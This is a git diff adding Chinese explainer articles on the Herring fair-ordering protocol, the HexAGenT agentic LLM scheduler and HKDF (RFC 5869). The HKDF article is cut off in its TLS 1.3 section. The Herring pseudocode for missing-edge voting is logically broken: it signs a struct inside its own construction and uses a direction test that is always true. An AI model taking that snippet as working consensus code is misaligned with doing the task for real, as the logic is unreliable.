+不在共识的"关键路径"上做公平性计算。等共识层先把一批批交易确定下来（commit subdag），然后再离线构建依赖图。这样公平性工作不会拖慢共识本身。
+
+**（2）并行构建子图**
+
+每个已确认的子 DAG（subdag）可以独立构建自己的依赖图，多个线程同时工作：
+
+```rust
+// 伪代码：Herring 的并行图构建
+fn build_dependency_graph_parallel(subdags: &[SubDag]) -> DependencyGraph {
+    let mut threads = Vec::new();
+
+    // 每个子 DAG 用一个独立线程处理
+    for subdag in subdags {
+        let handle = thread::spawn(move || {
+            // 这个子 DAG 内部的图构建是串行的
+            let local_graph = build_local_ordering(subdag);
+            let weight_matrix = compute_pairwise_weights(local_graph);
+            let edges = topological_sort(weight_matrix);
+            (subdag.id, edges)
+        });
+        threads.push(handle);
+    }
+
+    // 等所有线程完成，合并结果
+    let mut merged_graph = DependencyGraph::new();
+    for handle in threads {
+        let (subdag_id, edges) = handle.join().unwrap();
+        merged_graph.merge(subdag_id, edges);
+    }
+
+    // 小量同步点：处理跨子 DAG 的边
+    merged_graph.resolve_missing_edges();
+    merged_graph
+}
+```
+
+### 3.4 显式缺失边解析（Explicit Missing Edge Resolution）
+
+当两个交易之间还没有足够的证据来决定先后顺序时，它们的边就是"缺失"的。
+
+FairDAG 用的是**隐式解析**——等新证据慢慢通过后续子 DAG 渗入，所有线程都得停下来等——这又回到了串行瓶颈。
+
+Herring 用的是**显式解析**——通过 Narwhal 的可靠广播层，专门发送 FairUpdate 投票来补齐缺失边：
+
+```rust
+// 伪代码：显式缺失边解析
+struct FairUpdate {
+    /// 投票发起者的 ID
+    source_id: ValidatorId,
+    /// 当前轮次
+    round: RoundNumber,
+    /// 缺失对的列表：tx_A 在 tx_B 之前
+    missing_pairs: Vec<(TransactionId, TransactionId)>,
+    /// 签名证明这确实是该验证者发的
+    signature: Signature,
+}
+
+// 每个工作线程发送自己的 FairUpdate
+fn send_fair_update(&self, missing_pairs: Vec<(TxId, TxId)>) {
+    let update = FairUpdate {
+        source_id: self.id,
+        round: self.current_round,
+        missing_pairs,
+        signature: self.sign(&update),
+    };
+    // 附着到 outgoing batch 上，通过 Narwhal 可靠广播
+    self.worker.broadcast_batch(update.into());
+}
+
+// 收集投票直到达到阈值
+fn resolve_missing_edges(&self, edges: &mut Vec<Edge>) {
+    for pair in missing_pairs(&edges) {
+        let votes = self.collect_votes(pair);
+        if votes >= threshold(&self.validators) {
+            // 投票够了，确定方向
+            let direction = if votes > half(votes) {
+                EdgeDirection::Forward
+            } else {
+                EdgeDirection::Backward
+            };
+            edges.insert_directed_edge(pair.tx_a, pair.tx_b, direction);
+        }
+    }
+}
+```
+
+### 3.5 活体攻击（Liveness Attacks）的发现
+
+Herring 的论文还做了另一件有价值的事：**发现了 FairDAG-RL 和 DoD 中都存在的漏洞**。
+
+攻击方式很简单：恶意客户端故意只向部分验证者发送交易，使得公平性层永远无法收集到足够的证据来确定边的方向，导致排序永远卡住——系统**不宕机但也不前进**（liveness 被破坏）。
+
+Herring 提出了补丁并集成到了 FairDAG 和 DoD 的复现代码中，让它们在评测中能够完整运行。
+
+## 四、性能结果
+
+Herring 建立在 Narwhal & Tusk（Rust 实现）之上，与 FairDAG-RL、DoD-W、Themis 对比：
+
+| 指标 | Herring | FairDAG-RL | DoD-W |
+|------|---------|-----------|-------|
+| 吞吐量 | ~10,000 tx/s | 基准 | 基准 |
+| 饱和吞吐量提升 | — | +90% | +100% |
+| 执行延迟降低 | — | 最高 75% | 最高 75% |
+| 公平性瓶颈 | 无 | 公平性层 | DAG Pipeline |
+| 活体攻击漏洞 | 无 | 有（已补丁） | 有（已补丁） |
+
+关键数字：**在 10,000 tx/s 下，Herring 的吞吐量几乎跟底层的 Narwhal & Tusk 持平**——说明公平性层的开销被压得非常低。
+
+## 五、为什么叫 "Herring"？
+
+论文作者没有正式说明命名来源。但结合上下文可以推测："Herring" 可能暗指"红鲱鱼（red herring）"——在分布式系统中，人们长期认为"高性能"和"顺序公平性"是不可兼得的红鲱鱼概念，而 Herring 证明了它们是兼容的。
+
+## 六、总结：一句话理解 Herring
+
+> 之前的 DAG 公平性方案把公平性计算变成了串行的性能瓶颈；Herring 把这块计算**并行化**，让公平性从"拖慢共识的累赘"变成了"可以水平扩展的 CPU 密集型任务"。
+
+### 关键设计决策回顾
+
+1. **Post-consensus**：公平性计算放在共识之后，不阻塞关键路径
+2. **Parallel graph construction**：多个子 DAG 的图构建线程并行执行
+3. **Explicit missing edge resolution**：通过可靠广播显式补齐缺失边，避免线程互相等待
+4. **Self-referencing rule**：每个节点在 propose 新顶点时必须引用自己前一轮的证书，保证证据链不中断
+
+### 下一步阅读建议
+
+- Narwhal & Tusk 原始论文（理解底层 DAG 共识）
+- Themis 论文（理解 batch unspooling 技术）
+- Kelkar et al. 的 "Order-Fairness for Byzantine Consensus"（γ-batch-OF 的原始定义）
diff --git a/src/content/docs/papers/hexagent-agentic-scheduling.md b/src/content/docs/papers/hexagent-agentic-scheduling.md
new file mode 100644
index 000000000..4c54c7d68
--- /dev/null
+++ b/src/content/docs/papers/hexagent-agentic-scheduling.md
@@ -0,0 +1,426 @@
+---
+title: HexAGenT — 面向 Agentic LLM 的工作流与异构感知调度
+来源: 'You Peng et al., "HexAGenT: Efficient Agentic LLM Serving via Workflow- and Heterogeneity-Aware Scheduling", arXiv:2605.16637, 2026; https://arxiv.org/abs/2605.16637'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：外卖平台该按「单」排，还是按「整单送达」排？
+
+想象你经营一家连锁厨房，专门服务「会自己加菜的 AI 助手」——每个用户请求不是一次对话，而是一道**多步骤套餐**：
+
+1. **规划**：先让 LLM 想下一步做什么（plan）。
+2. **调工具**：查数据库、跑代码、调 API（tool use）。
+3. **分支**：并行查三个候选方案（tree search / LATS）。
+4. **汇总**：把中间结果合成最终回答（synthesis）。
+
+顾客体验的是**整单送达时间**——从下单到最后一道菜上桌——而不是「某一道菜单独有多快」。更麻烦的是：**菜单是边做边揭晓的**。你只知道第一步要炒什么；等第一步出锅、工具返回结果后，才知道后面还要不要加菜、加几道。
+
+传统 LLM 推理集群（vLLM、SGLang）像按**单道菜**排队的食堂：先来先服务（FCFS），哪台 GPU 空闲就扔过去。这在「一问一答」的聊天场景够用，但在 Agent 场景会出三类典型问题：
+
+| 类比 | Agent  serving 现实 |
+|------|---------------------|
+| 把 A 顾客的第三道菜插到 B 顾客第一道菜前面 | 不同 workflow 的 LLM call 被 per-call FCFS 乱序穿插，拖慢关键路径 |
+| 所有菜都在同一口大锅炒 | Prefill（算 prompt）和 Decode（逐 token 生成）混在同一 GPU，资源利用差 |
+| 新厨师和老厨师混用，却按「谁空谁上」分配 | A100/H100/H200 混部集群里，没考虑各卡 prefill/decode 速度差异和 KV 搬运带宽 |
+
+**HexAGenT**（**Hex**erogeneous **A**gentic LLM Servin**G** with workflow-aware scheduli**T**）要回答的核心问题是：**在 Prefill–Decode（P-D）分离、GPU 异构的集群上，怎样调度「在线逐步展开的 Agent 工作流 DAG」，让整个 workflow 在 SLO 内完成，而不是只优化单次 LLM 调用的延迟？**
+
+论文作者来自 HKUST、Webank、武汉大学、清华等；实现基于 **SGLang v0.5.9** 的 P-D 分离 serving，并在 A100/H100/H200 混部集群上验证。
+
+---
+
+## 是什么
+
+**HexAGenT** 是一个面向 **Agentic LLM 在线 serving** 的全局调度器，部署在 P-D 分离架构的 gateway/router 层，核心能力包括：
+
+1. **在线 DAG 抽象**：每个用户请求是一个**运行时逐步揭示**的有向无环图（DAG），节点是 LLM call，边是依赖（父 call 完成或 tool 返回后才 reveal 子 call）。
+2. **Workflow horizon**：为每个 workflow 维护「若当前已揭示子图独占集群跑完需要多久」的估计 \(H_w(t)\)，作为**端到端 SLO 锚点**。
+3. **Projected-risk 优先级**：就绪 call 按「预计违反 horizon 的风险」排序，而非单纯 FCFS 或最短 job 优先。
+4. **联合 Prefill–Decode 放置**：同时为每个 call 选 prefill 实例、decode 实例、本地队列优先级，并考虑 KV 容量与跨阶段传输延迟。
+5. **异构感知**：不同 GPU 类型的 prefill 速度、decode 速度、跨卡 KV 传输带宽都进入估计模型。
+
+一句话：**HexAGenT 把 Agent serving 从「调度独立 LLM 请求」升级为「调度在线展开的工作流，并在异构 P-D 集群上做联合放置与排队」。**
+
+---
+
+## 为什么重要
+
+### 1. 用户感知单位变了：workflow，不是 call
+
+ReAct、LATS、BFCL 等 Agent 范式下，一次用户请求常展开为**多步、有依赖、可分支**的 LLM 调用链。用户等的是「任务完成」，调度器若只优化单次 call 延迟，可能在关键路径上饿死整个 workflow。
+
+### 2. P-D 分离 + 异构集群是经济现实
+
+- **Prefill** 吃算力（一次性处理长 prompt）。
+- **Decode** 吃显存与 KV cache（逐 token 生成）。
+- 生产集群常混用 A100/H100/H200 以复用存量并控制成本。
+
+DistServe、Splitwise 解决了「阶段分离」，但没解决「在线 Agent DAG + 异构放置 + workflow SLO」的组合问题。
+
+### 3. 现有系统的缺口
+
+| 系统类型 | 代表 | 缺什么 |
+|---------|------|--------|
+| 请求级 serving | vLLM, SGLang, ORCA | 无 workflow 级 SLO 目标 |
+| P-D 分离 | DistServe, Splitwise | 无在线 DAG、异构 workflow 调度 |
+| Program-aware | Parrot, Hermes, Autellix, Continuum | 未同时处理在线 reveal + 异构 P-D + decode 容量约束 |
+
+论文 characterization 实验表明：仅把 per-call FCFS 换成 workflow-level FCFS，Req95 平均降 **31.4%**；再加上 HexAGenT 的异构放置，Req95 再降 **26.9%**（相对 Workflow-FCFS）。
+
+---
+
+## 核心概念
+
+### 1. 在线揭示的工作流 DAG
+
+工作流 \(G_w = (V, E)\)：
+
+- **节点** \(v \in V\)：一次 LLM call（带 input length、预估 output length、workflow id）。
+- **边** \((u, v) \in E\)：\(v\) 必须等 \(u\)（及可能的外部 tool）完成后才可调度。
+
+**关键性质**：到达时只有**源节点**可见；父节点完成 → 子节点进入 **runnable frontier**（就绪前沿）。调度器永远在对「当前已揭示子图」做决策，而非静态 DAG。
+
+```python
+from dataclasses import dataclass, field
+from typing import Dict, List, Set
+import time
+
+@dataclass
+class LLMCall:
+    call_id: str
+    workflow_id: str
+    prompt_tokens: int
+    parents: List[str] = field(default_factory=list)
+    children: List[str] = field(default_factory=list)
+    status: str = "pending"  # pending | prefill | decode | done
+
+class OnlineWorkflowDAG:
+    """Agent 工作流：子节点随父节点完成而在线 reveal。"""
+
+    def __init__(self, workflow_id: str, source_calls: List[LLMCall]):
+        self.workflow_id = workflow_id
+        self.arrival_time = time.time()
+        self.calls: Dict[str, LLMCall] = {c.call_id: c for c in source_calls}
+        self.done: Set[str] = set()
+
+    def runnable_calls(self) -> List[LLMCall]:
+        """就绪前沿：所有 parent 已完成、自身未开始的 call。"""
+        ready = []
+        for c in self.calls.values():
+            if c.status != "pending":
+                continue
+            if all(p in self.done for p in c.parents):
+                ready.append(c)
+        return ready
+
+    def on_call_complete(self, call_id: str, revealed_children: List[LLMCall]):
+        self.done.add(call_id)
+        self.calls[call_id].status = "done"
+        for child in revealed_children:
+            self.calls[child.call_id] = child  # 在线 reveal 新节点
+```
+
+### 2. Standalone horizon \(H_w(t)\)
+
+\(H_w(t)\) = 在**同一 P-D 集群**上，若 workflow \(w\) 在时刻 \(t\) 已揭示的子图 \(G_w(t)\) **独占运行**所需的完成时间（makespan）。
+
+- 工作流刚到达时，只知道第一步 → \(H_w(t)\) 较小。
+- 新 call reveal 或 tool 返回 → 子图变大 → \(H_w(t)\) **动态上调**。
+- 真实服务时间观测到后，可用实测值修正估计。
+
+这是 HexAGenT 的「deadline 代理」：优化目标不是绝对秒数，而是 **scaled-SLO**——完成时间 \(C_w\) 是否 ≤ \(\alpha \cdot H_w\)。
+
+### 3. Scaled-SLO 与 Req95 / Req99
+
+对每个 workflow \(w\)，若 \(C_w \leq \alpha H_w\) 则视为满足 SLO。
+
+- **Req95**：使 ≥95% workflow 达标的**最小** \(\alpha\)。
+- **Req99**：使 ≥99% workflow 达标的**最小** \(\alpha\)。
+
+\(\alpha\) 越小说明调度越「紧」——同样硬件下更容易按时完成整条 Agent 链。HexAGenT 在异构集群上相对最强基线，Req95 平均降 **20.1%**，Req99 平均降 **33.0%**（最大分别 **45.0%** / **80.5%**）。
+
+### 4. Projected ratio（投影风险比）
+
+对就绪 call \(c\)（属于 workflow \(w\)），在阶段 \(s \in \{\mathrm{Prefill}, \mathrm{Decode}\}\)：
+
+\[
+R_s(c, t) = \frac{(t - a_w) + \Delta_s(c, t)}{H_w(t)}
+\]
+
+- \(a_w\)：workflow 到达时间。
+- \((t - a_w)\)：已流逝时间。
+- \(\Delta_s(c, t)\)：从**现在**起，若把 \(c\) 放到当前最优候选实例，预计在该阶段完成所需时间（含排队、prefill/decode 执行、KV 传输）。
+
+**\(R_s\) 越大 → 越 urgent**（workflow 越接近或已超过 horizon）。HexAGenT 在 prefill/decode 两个阶段都用该信号排序。
+
+### 5. Prefill–Decode 联合规划
+
+P-D 分离下，一次 LLM call 的生命周期：
+
+```
+等待 prefill → Prefill 执行 → KV 传输 → 等待 decode 容量 → Decode 执行 → 完成 → reveal 子 call
+```
+
+HexAGenT 在 **prefill 调度阶段**就选定 decode instance（bootstrap），以便 prefill 完成后 KV 知道往哪搬。异构集群里，跨 GPU 代际的 KV 传输带宽更低，联合规划会惩罚「快 prefill + 慢传输 + 慢 decode」的组合。
+
+### 6. Decode KV 容量约束
+
+Decode 实例 \(d\) 有 KV cache 上限 \(\mathrm{Cap}(d)\)。call \(c\) 的内存需求近似：
+
+\[
+m(c) = L_{\mathrm{in}}(c) + \widehat{L}_{\mathrm{out}}(c)
+\]
+
+仅当 \(m(c) \leq \mathrm{Cap}(d)\) 时可准入。Output length 用 proxy 模型预测（类似 SSJF 思路）。
+
+---
+
+## 系统架构（四组件）
+
+```
+用户 Agent 请求
+      ↓
+┌─────────────────┐
+│ Workflow Front-end │  维护在线 DAG、runnable frontier、horizon 更新
+└────────┬────────┘
+         ↓ 就绪 call
+┌─────────────────┐
+│ Global Scheduler │  State Collector → Estimator → Joint Planner → Plan Dispatcher
+└────────┬────────┘
+         ↓ 放置 + 优先级
+┌──────────────────────────────────────┐
+│ P-D Serving Cluster                   │
+│  Prefill Pool (A100/H100/H200...)     │
+│  Decode Pool  (A100/H100/H200...)     │
+└────────┬─────────────────────────────┘
+         ↓
+   External Tools / LLM APIs
+```
+
+**Scheduler 内部四模块**：
+
+| 模块 | 职责 |
+|------|------|
+| **State Collector** | 收集 prefill/decode 队列、运行中 call、KV 使用率、传输状态、workflow 进度 |
+| **Estimator** | Roofline 风格估计 prefill/decode/传输延迟与 decode 内存需求 |
+| **Joint Planner** | 算 projected ratio，贪心选 prefill–decode 对与队列优先级 |
+| **Plan Dispatcher** | 异步下发计划；已开始服务的 call 不再迁移 |
+
+**事件驱动重调度触发点**：workflow 到达、decode 完成 reveal 新 prefill 工作、KV 传输完成进入 decode 等待。
+
+---
+
+## 调度算法直觉与代码示例
+
+### 示例 1：计算 projected ratio 并选最 urgent call
+
+下面是对论文公式 (2) 的简化 Python 示意（教学用，非论文源码）：
+
+```python
+from dataclasses import dataclass
+from typing import List, Tuple
+
+@dataclass
+class PlacementCandidate:
+    prefill_id: str
+    decode_id: str
+    projected_finish: float  # 从 now 到 decode 完成的预计时间
+
+def projected_ratio(
+    now: float,
+    arrival: float,
+    horizon: float,
+    delta: float,
+) -> float:
+    """R_s(c,t) = ((t - a_w) + Δ_s(c,t)) / H_w(t)"""
+    if horizon <= 0:
+        return float("inf")
+    elapsed = now - arrival
+    return (elapsed + delta) / horizon
+
+def pick_most_urgent_prefill_call(
+    ready_calls: List[dict],
+    horizons: dict,
+    arrivals: dict,
+    enumerate_placements,
+    now: float,
+) -> Tuple[dict, PlacementCandidate]:
+    """在 prefill 阶段：枚举 (prefill, decode) 对，取 R_P 最大的 call。"""
+    best_call, best_place, best_score = None, None, -1.0
+
+    for call in ready_calls:
+        wid = call["workflow_id"]
+        H = horizons[wid]
+        candidates = enumerate_placements(call)  # 返回 List[PlacementCandidate]
+        best_for_call = min(candidates, key=lambda p: p.projected_finish)
+        score = projected_ratio(
+            now, arrivals[wid], H, best_for_call.projected_finish
+        )
+        if score > best_score:
+            best_score = score
+            best_call = call
+            best_place = best_for_call
+
+    return best_call, best_place
+```
+
+**解读**：不是「谁先到谁先 prefill」，而是「谁会让 workflow 最接近超标」谁先上；且 \(\Delta\) 里已经嵌入了**在异构实例上的预计完成时间**。
+
+### 示例 2：事件驱动调度主循环（Algorithm 1 简化）
+
+```python
+def hexagent_event_loop(event, t, state, planner_in_flight):
+    """
+    event ∈ {workflow_arrival, prefill_done, transfer_done, decode_done}
+    论文：prefill/decode 调度在 arrival、新 reveal、transfer 完成时触发。
+    """
+    update_queues_and_kv(state, event)
+    update_horizons(state, event)  # H_w(t) 随 reveal 重算
+
+    triggered_stages = stages_to_schedule(event)  # subset of {PREFILL, DECODE}
+
+    for stage in triggered_stages:
+        if planner_in_flight[stage]:
+            apply_fallback_if_needed(state, stage)
+            continue
+
+        waiting = state.waiting_calls(stage)
+        sim_state = state.snapshot()
+        plan = []
+
+        while waiting:
+            scores = []
+            for call in waiting:
+                placement, delta = project_best_feasible(sim_state, call, stage)
+                R = projected_ratio(
+                    t,
+                    state.arrival[call.workflow_id],
+                    state.horizon[call.workflow_id],
+                    delta,
+                )
+                scores.append((R, call, placement))
+
+            call_star = max(scores, key=lambda x: x[0])
+            plan.append(call_star)
+            sim_state.apply(call_star[1])  # 更新模拟队列与 KV 占用
+            waiting.remove(call_star[1])
+
+        dispatch_async(plan, stage)  # 只更新仍在等待的 call
+```
+
+**贪心 + 模拟状态**：每选一个 call 就更新模拟集群状态，再重算剩余 call 的 urgency——避免「局部最优 prefill 实例」导致 decode 端拥塞。
+
+### Prefill vs Decode 调度差异
+
+| 阶段 | 优化目标 | 额外约束 |
+|------|----------|----------|
+| **Prefill** | 最小化 projected decode finish | 联合选 decode；考虑 KV 传输带宽 |
+| **Decode** | 同样用 \(R_D\) | KV 容量 feasibility；locked vs free placement |
+
+- **Locked call**：prefill 阶段已绑定 decode instance，只能在该实例内重排。
+- **Free call**：可在任意可行 decode 实例间选择。
+
+队列较小时用**重算贪心**；队列大时用**一次排序**控制调度开销。
+
+---
+
+## 实验设置与主要结果
+
+###  workload
+
+| Trace | 特点 | 规模示例 |
+|-------|------|----------|
+| **ShareGPT** | 顺序对话链 | 100 workflows @ 10/s |
+| **BFCL-v3** | 工具调用、频繁 reveal | 400 @ 40/s |
+| **LATS** | 树搜索、burst fan-out | 100 @ 40/s |
+| **Mixed** | 三者混合 | 100 @ 10/s |
+
+模型：**Llama3.1-70B**、**Qwen3-235B-A22B**。
+
+集群：**Hetero-1** = 8P+8D（每池 2×A100 + 3×H100 + 3×H200）；**Hetero-2** = 10P+10D（3/4/3 配比）。
+
+### 基线
+
+- **SGLang-FCFS**：workflow 级 FCFS + 负载均衡 dispatch。
+- **SGLang-LLF**：workflow 级 least-laxity-first。
+- **Autellix-ATLAS**：program-aware attained-service 策略适配。
+
+### Characterization 表（Req95 / Req99，越小越好）
+
+| Model | Trace | Per-call FCFS | Workflow-FCFS | HexAGenT |
+|-------|-------|---------------|---------------|----------|
+| Llama | ShareGPT | 5.85 / 7.43 | 4.50 / 6.22 | **2.50 / 2.60** |
+| Llama | BFCL-v3 | 13.81 / 17.23 | 7.23 / 9.80 | **6.21 / 6.34** |
+| Qwen | BFCL-v3 | 21.11 / 26.89 | 9.64 / 11.67 | **8.39 / 8.57** |
+| Qwen | Mixed | 11.15 / 15.84 | 10.30 / 15.01 | **3.48 / 3.94** |
+
+**Mixed + Qwen** 上 HexAGenT 相对 Workflow-FCFS 的 Req95 从 10.30 降到 3.48——说明**仅靠 workflow 排序不够，异构放置是第二杠杆**。
+
+###  headline 汇总
+
+相对最强基线，HexAGenT 使达标所需 SLO 缩放因子 \(\alpha\)：
+
+- **95% 达标**：平均降 **20.1%**（最大 **45.0%**）
+- **99% 达标**：平均降 **33.0%**（最大 **80.5%**）
+
+尾延迟（Req99）收益更大：workflow 级调度对「慢 Agent 链」更敏感。
+
+---
+
+## 实现要点
+
+- **底座**：SGLang v0.5.9 P-D disaggregated serving。
+- **调度器位置**：Python gateway/router，**不在 GPU hot path**。
+- **模拟器**：~4.6K 行 Python，建模完整 call 生命周期与异步调度，用于估计 \(H_w\) 与 \(\Delta_s\)。
+- **异步规划**：求解进行中 serving 不阻塞；未分配 call 可采纳新计划，已开跑则状态以 runtime 为准。
+
+---
+
+## 与相关工作的关系
+
+```text
+           单请求 serving          P-D 分离              Program-aware
+                │                      │                        │
+           vLLM/SGLang            DistServe/Splitwise      Parrot/Hermes/Autellix
+                │                      │                        │
+                └──────────────────────┴────────────────────────┘
+                                       │
+                              HexAGenT 填补的交集：
+                    在线 DAG + 异构 P-D + workflow SLO + decode 容量
+```
+
+- **Call-level SJF / slack / LTR**：改善单请求，**看不见 DAG 关键路径**。
+- **HexGen / SkyServe**：异构 LLM serving，但**非 Agent workflow 调度**。
+- **Hermes / Continuum**：向 program 级调度迈进，论文认为尚未同时处理在线 reveal + 异构 joint placement + decode KV 约束。
+
+---
+
+## 局限与开放问题
+
+1. **Horizon 估计误差**：\(H_w(t)\) 依赖 reveal 后子图与 latency 模型；极端 tool 延迟或 output 长度预测偏差会削弱 projected ratio 的有效性（论文 Q3 讨论鲁棒性）。
+2. **调度开销 vs 质量**：异步规划若过慢，更多 call 在 fallback 策略下运行。
+3. **Scope**：聚焦 P-D 分离集群上的**调度策略**；不包含 Agent 逻辑本身（planning 算法、tool 选择）的优化。
+4. **迁移成本**：call 一旦开始 prefill/decode 即固定实例——动态抢占不在设计目标内。
+
+---
+
+## 给零基础读者的 takeaway
+
+1. **Agent serving 的基本单位是 workflow**，调度目标应是端到端 SLO，不是单次 LLM 延迟。
+2. **DAG 是在线长出来的**，调度器必须在「部分信息」下持续更新 horizon 与优先级。
+3. **P-D 分离把一个问题拆成两个队列 + 一次 KV 搬运**，必须 prefill/decode **联合**考虑。
+4. **异构 GPU 不是噪声，是调度信号**——同一 call 在不同实例上的完成时间不同，选错会拖垮整条 Agent 链。
+5. **Projected ratio** 是直观抓手：「这条 workflow 再不快就要超标了」→ 优先服务能最快把它拉回 horizon 内的 call + 放置组合。
+
+---
+
+## 延伸阅读
+
+- **P-D 分离**：DistServe (Zhong et al.), Splitwise (Patel et al.)
+- **Agent 工作负载**：ReAct, LATS, BFCL-v3
+- **Program-aware serving**：Parrot, Hermes, Autellix, Continuum
+- **异构 LLM serving**：HexGen, ThunderServe, SkyServe
+- **论文全文**：https://arxiv.org/abs/2605.16637
diff --git a/src/content/docs/papers/hkdf-rfc5869.md b/src/content/docs/papers/hkdf-rfc5869.md
new file mode 100644
index 000000000..f7ec63e25
--- /dev/null
+++ b/src/content/docs/papers/hkdf-rfc5869.md
@@ -0,0 +1,283 @@
+---
+title: HKDF (RFC 5869) — 从「不太均匀的原料」榨出多把互不串味的密钥
+来源: https://www.rfc-editor.org/rfc/rfc5869
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**HKDF**（HMAC-based Extract-and-Expand Key Derivation Function）是 IETF **RFC 5869**（2010 年 5 月，Hugo Krawczyk & Pasi Eronen）定义的一套**密钥派生函数（KDF）**。它用 HMAC 把「初始密钥材料」变成一把或多把**密码学上可用的秘密密钥**，是 TLS 1.3、Noise、Signal、IKEv2、Web Crypto 等系统的常见积木。
+
+日常类比：
+
+> 你有一桶**成分不太均匀的果汁**（Diffie-Hellman 共享值、熵池采样、协议协商结果——熵可能分散、格式也不均匀）。  
+> - **Extract（提取）** = 用滤网 + 离心机把果汁**浓缩**成一小杯标准浓度的「基底液」**PRK**（pseudorandom key）。  
+> - **Expand（扩展）** = 用同一杯基底，按不同**口味标签**（`info`）倒出多杯饮料：一杯给 AES 加密、一杯给 MAC、一杯给 IV——**杯子可以很多，但彼此味道独立**，不会串味。  
+>
+> 若你手里本来就是一瓶**出厂即合格的纯果汁**（已是均匀随机的 256 位密钥），可以跳过 Extract，只做 Expand——但 DH 共享值 `g^{xy}` **绝不是**这种合格果汁，Extract 不能省。
+
+HKDF 的设计哲学是 **extract-then-expand**：先「浓缩熵」，再「按需拉长并域分离」。这比早期「直接把 DH 结果当 HMAC 密钥」或「单一 PRF 链式扩展」更保守、更好分析。
+
+## 为什么重要
+
+不理解 HKDF，现代协议里的密钥调度全是黑盒：
+
+- **TLS 1.3** 用 HKDF-Extract / HKDF-Expand 从 ECDHE 共享秘密逐级派生 Early / Handshake / Application traffic keys（见 [[tls-1-3-rfc8446]]）
+- **Noise** 握手里每次 `MixKey` 本质上是 HKDF 风格链式派生（见 [[noise-protocol-framework]]）
+- **Signal Double Ratchet** 的 `KDF_CK` / `KDF_RK` 推荐 HMAC / HKDF（见 [[signal-double-ratchet-2016]]）
+- **WireGuard** 用 HKDF-BLAKE2s 从链密钥派生会话密钥（见 [[wireguard-2017]]）
+- 浏览器 **Web Crypto API**、Node.js `crypto.hkdf`、Go `crypto/hkdf`、Rust `ring` 都内置 HKDF
+
+一句话：**HKDF 是「从共享秘密到多把专用密钥」的标准配方**；用错（跳过 Extract、复用 `info`、把密码当 IKM）会导致真实漏洞或审计红灯。
+
+## 核心概念
+
+### 1. 两阶段总览
+
+```text
+IKM (Input Keying Material)     salt (可选，非秘密)
+         \                            /
+          \                          /
+           v                        v
+        +-----------------------------+
+        |      HKDF-Extract           |
+        |   PRK = HMAC-Hash(salt, IKM)|
+        +-----------------------------+
+                      |
+                      | PRK (固定 HashLen 字节)
+                      v
+        +-----------------------------+
+        |      HKDF-Expand            |
+        |  OKM = Expand(PRK, info, L)  |
+        +-----------------------------+
+                      |
+                      v
+              OKM (L 字节，可切成多把 key)
+```
+
+完整调用常写作：
+
+```text
+HKDF(Hash, salt, IKM, info, L) = HKDF-Expand(PRK, info, L)
+                                 where PRK = HKDF-Extract(salt, IKM)
+```
+
+### 2. Extract：浓缩熵
+
+| 项目 | 说明 |
+|------|------|
+| 输入 `IKM` | 初始密钥材料——DH 共享值、PSK、熵池输出等 |
+| 输入 `salt` | **可选**、**不必保密**的随机串；缺省时 RFC 规定为 `HashLen` 个 `0x00` |
+| 输出 `PRK` | 长度 = `HashLen`（如 SHA-256 → 32 字节）的伪随机密钥 |
+| 公式 | `PRK = HMAC-Hash(salt, IKM)` |
+
+注意 HMAC 参数顺序：**salt 是 HMAC 的 key，IKM 是 message**（与直觉相反，但规范如此）。
+
+Extract 解决的是：IKM 可能**熵不均匀**、攻击者**部分知道**其内容（例如 DH 值的低位结构）。Extract 把分散熵「压」进固定长度 PRK，使后续 Expand 建立在 PRF 假设上。
+
+### 3. Expand：拉长 + 域分离
+
+| 项目 | 说明 |
+|------|------|
+| 输入 `PRK` | 通常来自 Extract；长度 ≥ `HashLen` |
+| 输入 `info` | **可选**上下文绑定串——协议号、算法 ID、方向标签等；可为空 |
+| 输入 `L` | 想要的输出字节数，**≤ 255 × HashLen** |
+| 输出 `OKM` | `L` 字节的输出密钥材料 |
+
+Expand 用**反馈链**生成足够长的伪随机流：
+
+```text
+N = ceil(L / HashLen)
+T(0) = empty
+T(1) = HMAC-Hash(PRK, T(0) | info | 0x01)
+T(2) = HMAC-Hash(PRK, T(1) | info | 0x02)
+T(3) = HMAC-Hash(PRK, T(2) | info | 0x03)
+...
+OKM = first L bytes of (T(1) | T(2) | ... | T(N))
+```
+
+末尾单字节计数器 `0x01, 0x02, …` 保证每轮 HMAC 输入不同。`info` 把 OKM **绑定到用途**：同一 IKM 派生「客户端写密钥」和「服务器写密钥」时，必须用不同的 `info`，否则两把 key 相关，灾难。
+
+### 4. 参数选用指南（RFC Section 3 精华）
+
+| 参数 | 建议 |
+|------|------|
+| **salt** | 有就用。不必保密，但应**独立于 IKM** 且攻击者不能操控（IKE 里常从已认证 nonce 来） |
+| **info** | 强烈建议非空：含协议版本、密钥用途、长度 `L` 等，防跨上下文密钥复用 |
+| **跳过 Extract** | 仅当 IKM **已是**高质量均匀随机密钥；**DH 共享值绝不能跳过** |
+| **Hash** | SHA-256 是默认常识；TLS 1.3 按 cipher suite 用 SHA-256 或 SHA-384 |
+
+### 5. HKDF 做不到的事
+
+- **不能放大熵**：弱密码、低熵用户输入 → 应使用 **PBKDF2 / scrypt / Argon2**（RFC 5869 Section 5 明确说 HKDF 不适合单独做密码 KDF）
+- **不是加密**：只派生密钥，不保密传输数据
+- **不替代随机数生成器**：PRNG 可以**用** HKDF 整理熵池，但 IKM 本身要有足够熵
+
+### 6. 与 NIST SP 800-108 的区别（直觉）
+
+NIST 的 HMAC-DRBG / SP 800-108 类 KDF 常假设输入**已是**均匀随机 PRK。HKDF 的 Extract 阶段专门处理「IKM 不够好」的现实场景（DH、熵混合）。NIST SP 800-56C 也采纳了 extract-then-expand，并引用 Krawczyk 的 HKDF 论文作为设计依据。
+
+## 在 TLS 1.3 里怎么用（简化）
+
+TLS 1.3 密钥调度是典型的「多级 Extract + 带标签 Expand」：
+
+```text
+early_secret       = HKDF-Extract(0, PSK_or_0)
+handshake_secret   = HKDF-Extract(Derive-Secret(early_secret, "derived"), shared_secret)
+master_secret      = HKDF-Extract(Derive-Secret(handshake_secret, "derived"), 0)
+
+client_hs_traffic  = HKDF-Expand-Label(handshake_secret, "c hs traffic", transcript_hash, L)
+server_hs_traffic  = HKDF-Expand-Label(handshake_secret, "s hs traffic", transcript_hash, L)
+client_ap_traffic  = HKDF-Expand-Label(master_secret, "c ap traffic", transcript_hash, L)
